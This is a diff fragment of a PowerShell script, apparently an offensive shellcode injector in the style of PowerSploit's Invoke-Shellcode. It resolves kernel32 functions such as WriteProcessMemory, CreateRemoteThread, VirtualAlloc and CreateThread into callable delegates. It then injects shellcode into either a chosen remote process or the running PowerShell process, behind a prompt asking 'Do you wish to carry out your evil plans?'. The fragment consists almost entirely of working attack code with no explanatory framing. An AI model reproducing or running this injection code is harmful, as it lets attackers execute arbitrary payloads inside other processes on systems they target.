 +        $WriteProcessMemoryAddr = Get-ProcAddress kernel32.dll WriteProcessMemory
 +        $WriteProcessMemoryDelegate = Get-DelegateType @([IntPtr], [IntPtr], [Byte[]], [UInt32], [UInt32].MakeByRefType()) ([Bool])
 +        $WriteProcessMemory = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WriteProcessMemoryAddr, $WriteProcessMemoryDelegate)
 +        $CreateRemoteThreadAddr = Get-ProcAddress kernel32.dll CreateRemoteThread
 +        $CreateRemoteThreadDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr])
 +        $CreateRemoteThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateRemoteThreadAddr, $CreateRemoteThreadDelegate)
 +        $CloseHandleAddr = Get-ProcAddress kernel32.dll CloseHandle
 +        $CloseHandleDelegate = Get-DelegateType @([IntPtr]) ([Bool])
 +        $CloseHandle = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CloseHandleAddr, $CloseHandleDelegate)
 +    
 +        Write-Verbose "Injecting shellcode into PID: $ProcessId"
 +        
 +        if ( $Force -or $psCmdlet.ShouldContinue( 'Do you wish to carry out your evil plans?',
 +                 "Injecting shellcode injecting into $((Get-Process -Id $ProcessId).ProcessName) ($ProcessId)!" ) )
 +        {
 +            Inject-RemoteShellcode $ProcessId
 +        }
 +    }
 +    else
 +    {
 +        # Inject shellcode into the currently running PowerShell process
 +        $VirtualAllocAddr = Get-ProcAddress kernel32.dll VirtualAlloc
 +        $VirtualAllocDelegate = Get-DelegateType @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])
 +        $VirtualAlloc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocAddr, $VirtualAllocDelegate)
 +        $VirtualFreeAddr = Get-ProcAddress kernel32.dll VirtualFree
 +        $VirtualFreeDelegate = Get-DelegateType @([IntPtr], [Uint32], [UInt32]) ([Bool])
 +        $VirtualFree = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualFreeAddr, $VirtualFreeDelegate)
 +        $CreateThreadAddr = Get-ProcAddress kernel32.dll CreateThread
 +        $CreateThreadDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr])
 +        $CreateThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateThreadAddr, $CreateThreadDelegate)
 +        $WaitForSingleObjectAddr = Get-ProcAddress kernel32.dll WaitForSingleObject
 +        $WaitForSingleObjectDelegate = Get-DelegateType @([IntPtr], [Int32]) ([Int])
 +        $WaitForSingleObject = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WaitForSingleObjectAddr, $WaitForSingleObjectDelegate)
 +        
 +        Write-Verbose "Injecting shellcode into PowerShell"
 +        
 +        if ( $Force -or $psCmdlet.ShouldContinue( 'Do you wish to carry out your evil plans?',
 +                 "Injecting shellcode into the running PowerShell process!" ) )
 +        {
 +            Inject-LocalShellcode
 +        }
 +    }   
  }
 |